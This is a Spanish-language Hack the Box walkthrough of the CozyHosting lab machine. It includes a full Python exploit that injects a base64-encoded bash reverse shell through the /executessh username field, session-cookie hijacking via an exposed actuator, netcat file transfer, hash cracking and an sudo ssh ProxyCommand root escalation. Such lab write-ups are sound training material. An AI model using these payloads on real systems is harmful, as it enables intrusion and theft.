Page cover

🟢CozyHosting

En esta ocasión vamos a hacer el writeup de la máquina CozyHosting de Hack the Box, una máquina Linux de dificultad easy.

Primer acceso

Accedemos a la IP 10.10.11.230 a través del navegador. Está bloqueado, a si que añadimos el host a nuestro /etc/hosts:

sudo nano /etc/hosts

Ahora ya se muestra la web en el navegador:

A primera vista parece una web con servicios de hosting. No tiene ninguna acción aparte del botón de login. En el código fuente no encontramos ningún dato relevante.

Escaneo con Nmap

NMAP Puertos abiertos:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-favicon: Unknown favicon MD5: 72A61F8058A9468D57C3017158769B1F
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS

Fuzzing

Al fuzzear con gobuster o ffuf no encontramos ningún directorio interesante, así que vamos a probar a hacer fuzzing con dirsearch

dirsearch -u http://cozyhosting.htb/

Nos devuelve:

  • Hay un directorio sospechoso: /actuator

  • Al acceder al directorio nos encontramos varios apartados:

  • Al acceder a /actuator/sessions tenemos un nombre de usuario 'kanderson' y cookies de sesión asociadas:

Desde el navegador cambiamos la cookie de sesión en inspect/storage, y accedemos sin usuario ni contraseña a /admin.

En este panel no hay muchas cosas interesantes o que podamos hacer.

Exploit

Buscando en internet encontramos un exploit para esta máquina:

Creamos un archivo cozy.py con el siguiente script:

#!/usr/bin/python3
# Author: M3Y
# IMPORTS #
import requests
import json
import sys
import subprocess

# Config Target
URL = "http://cozyhosting.htb"
headers = {'Content-Type':'application/vnd.spring-boot.actuator.v3+json'}

# lhost - lport
if len(sys.argv) != 3:
    print('[!] Usage: %s host port' % (sys.argv[0]))
    print('[*]Example: ./cozy.py 10.10.12.14 443\n')

lhost = sys.argv[1]
lport = sys.argv[2]

# create payload
# 1) encode in base64
proc=subprocess.Popen([f"echo '/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1' | base64"],stdout=subprocess.PIPE,shell=True)
out, _ = proc.communicate()
result = out.decode().strip()

# 2) generate shell payload
payload=";$(echo${IFS}%s${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}/bin/bash${IFS})" % (result)

def getAdminDashboard():
    # url for get session
    session_url = URL + "/actuator/sessions"
    r = requests.get(session_url,headers=headers)
    data = r.json()

    # loop on each value
    desired_value = 'kanderson'
    key = None

    for k,v in data.items():
        if v == desired_value:
          key = k
          break
    return key

def getShell():
    session = getAdminDashboard()

    new_url = URL + "/executessh"

    # Cookie to access at dashboard
    cookies = {'JSESSIONID': 'Confusedession'}

    # payload data
    data = {'host': '127.0.0.1',
            'username': payload
    }

    request = requests.post(new_url,cookies=cookies,data=data)

if __name__ == "__main__":
    print('[!] Befote execute this script start a listener with netcat')
    print('[*]Example: nc -nlvp 443')
    print('[*]Getting Shell ...')
    getShell()

Abrimos un listener de netcat y ejecutamos cozy.py, dándole como argumentos la IP y el puerto de netcat:

nc -nlvp 1337
python3 cozy.py 10.10.14.202 1337

Esto nos devuelve una shell a netcat.

Al acceder al directorio home nos encontramos el nombre de usuario 'josh', pero no nos deja acceder.

En el directorio principal hay un archivo .jar que vamos a descargar por netcat:

  • En el server: nc 10.10.14.202 1234 < cloudhosting-0.0.1.jar

  • En nuestro kali: nc -l -p 1234 > cloudhosting-0.0.1.jar

Descomprimimos el zip o lo abrimos con JDec

En el archivo application.properties encontramos el usuario y contraseña de la base de datos:

Usuario: postgres
Contraseña: Vg&nvzAQ7XxR

Nos conectamos a la base de datos desde la shell del server:

psql -U postgres -W -h localhost -d cozyhosting

Ya estamos dentro de la base de datos. Vamos a enumerar las bases de datos disponibles y su información en busca de usuarios y contraseñas:

\list                 <!-- listado de bases de datos -->
\c cozyhosting        <!-- Accedemos a la BBDD cozyhosting -->
\d                    <!-- Muestra todas las relaciones -->
SELECT * FROM users;  <!-- Vemos todo el contenido de la tabla usuarios -->

Encontramos usuarios y contraseñas en formato hash:

   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

Cracking

Vamos a crackear los hashes para obtener las contraseñas en plano:

sudo hashcat -m 3200 -a 0 admin.hash /usr/share/wordlists/rockyou.txt

La contraseña es: manchesterunited

Nos conectamos por SSH con el usuario josh (que encontramos antes) y esta contraseña:

ssh josh@10.10.11.230
manchesterunited

Obtenemos el user.txt:

3c1561e5ac2f02a012402d308e....

Escalada de privilegios

Vamos a ver los permisos que tenemos en la máquina:

sudo -l
User josh may run the following commands on localhost: (root) /usr/bin/ssh *

Consultamos GTFOBins para ver los binarios disponibles:

  • Encontramos una shell interactiva a través de ProxyCommand.

Nos movemos al directorio /usr/bin:

cd /usr/bin
  • Ejecutamos lo siguiente:

ssh -o ProxyCommand=';sh 0<&2 1>&2' x
  • Seguido de:

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Ya somos root 😎

Obtenemos el root.txt:

1846899fa46fb3bca2444eb60be7....

Última actualización

¿Te fue útil?